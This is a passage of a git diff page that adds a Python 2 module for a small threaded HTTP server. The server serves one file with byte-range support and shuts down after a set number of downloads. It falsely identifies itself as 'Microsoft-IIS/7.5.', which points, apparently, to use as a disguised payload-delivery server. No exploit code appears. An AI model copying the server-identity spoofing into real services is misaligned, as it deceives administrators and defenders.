||||||
|
self.stop_datasock()
|
||||||
|
self.conn.send('226 Transfer complete.\r\n')
|
|
@ -0,0 +1,137 @@
|
||||||
|
import urllib, BaseHTTPServer, threading, os.path
|
||||||
|
import shutil
|
||||||
|
import struct
|
||||||
|
from logging import getLogger
|
||||||
|
|
||||||
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
|
protocol_version = "HTTP/1.1"
|
||||||
|
filename = ""
|
||||||
|
|
||||||
|
def version_string(self):
|
||||||
|
return "Microsoft-IIS/7.5."
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def report_download():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def do_POST (self):
|
||||||
|
self.send_error (501, "Unsupported method (POST)")
|
||||||
|
return
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
"""Serve a GET request."""
|
||||||
|
f, start_range, end_range = self.send_head()
|
||||||
|
if f:
|
||||||
|
f.seek(start_range, 0)
|
||||||
|
chunk = 0x1000
|
||||||
|
total = 0
|
||||||
|
while chunk > 0:
|
||||||
|
if start_range + chunk > end_range:
|
||||||
|
chunk = end_range - start_range
|
||||||
|
try:
|
||||||
|
self.wfile.write(f.read(chunk))
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
total += chunk
|
||||||
|
start_range += chunk
|
||||||
|
|
||||||
|
if f.tell() == os.fstat(f.fileno()).st_size:
|
||||||
|
self.report_download()
|
||||||
|
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
def do_HEAD(self):
|
||||||
|
"""Serve a HEAD request."""
|
||||||
|
f, start_range, end_range = self.send_head()
|
||||||
|
if f:
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
def send_head(self):
|
||||||
|
if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
|
||||||
|
self.send_error (500, "")
|
||||||
|
return
|
||||||
|
f = None
|
||||||
|
try:
|
||||||
|
# Always read in binary mode. Opening files in text mode may cause
|
||||||
|
# newline translations, making the actual size of the content
|
||||||
|
# transmitted *less* than the content-length!
|
||||||
|
f = open(self.filename, 'rb')
|
||||||
|
except IOError:
|
||||||
|
self.send_error(404, "File not found")
|
||||||
|
return (None, 0, 0)
|
||||||
|
fs = os.fstat(f.fileno())
|
||||||
|
size = int(fs[6])
|
||||||
|
start_range = 0
|
||||||
|
end_range = size
|
||||||
|
|
||||||
|
if "Range" in self.headers:
|
||||||
|
s, e = self.headers['range'][6:].split('-', 1)
|
||||||
|
sl = len(s)
|
||||||
|
el = len(e)
|
||||||
|
if sl > 0:
|
||||||
|
start_range = int(s)
|
||||||
|
if el > 0:
|
||||||
|
end_range = int(e) + 1
|
||||||
|
elif el > 0:
|
||||||
|
ei = int(e)
|
||||||
|
if ei < size:
|
||||||
|
start_range = size - ei
|
||||||
|
|
||||||
|
if start_range == 0 and end_range - start_range >= size:
|
||||||
|
self.send_response(200)
|
||||||
|
else:
|
||||||
|
self.send_response(206)
|
||||||
|
else:
|
||||||
|
self.send_response(200)
|
||||||
|
|
||||||
|
self.send_header("Content-type", "application/octet-stream")
|
||||||
|
self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
|
||||||
|
self.send_header("Content-Length", min(end_range - start_range, size))
|
||||||
|
self.end_headers()
|
||||||
|
return (f, start_range, end_range)
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
|
||||||
|
self.log_date_time_string(),
|
||||||
|
format % args))
|
||||||
|
|
||||||
|
|
||||||
|
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
|
||||||
|
def handle_error(self, request, client_address):
|
||||||
|
#ToDo: find a better error message.
|
||||||
|
#LOG.debug("HTTPServer error from %s:%s" % client_address)
|
||||||
|
pass
|
||||||
|
|
||||||
|
class HTTPServer(threading.Thread):
|
||||||
|
def __init__(self, local_ip, local_port, filename, max_downloads=1):
|
||||||
|
self._local_ip = local_ip
|
||||||
|
self._local_port = local_port
|
||||||
|
self._filename = filename
|
||||||
|
self.max_downloads = max_downloads
|
||||||
|
self.downloads = 0
|
||||||
|
self._stopped = False
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
class TempHandler(FileServHTTPRequestHandler):
|
||||||
|
filename = self._filename
|
||||||
|
@staticmethod
|
||||||
|
def report_download():
|
||||||
|
self.downloads+=1
|
||||||
|
|
||||||
|
httpd = InternalHTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||||
|
httpd.timeout = 0.5
|
||||||
|
|
||||||
|
while not self._stopped and self.downloads < self.max_downloads:
|
||||||
|
httpd.handle_request()
|
||||||
|
|
||||||
|
self._stopped = True
|
||||||
|
|
||||||
|
def stop(self, timeout=60):
|
||||||
|
self._stopped = True
|
||||||
|
self.join(timeout)
|
||||||
|
|
Loading…
Reference in New Issue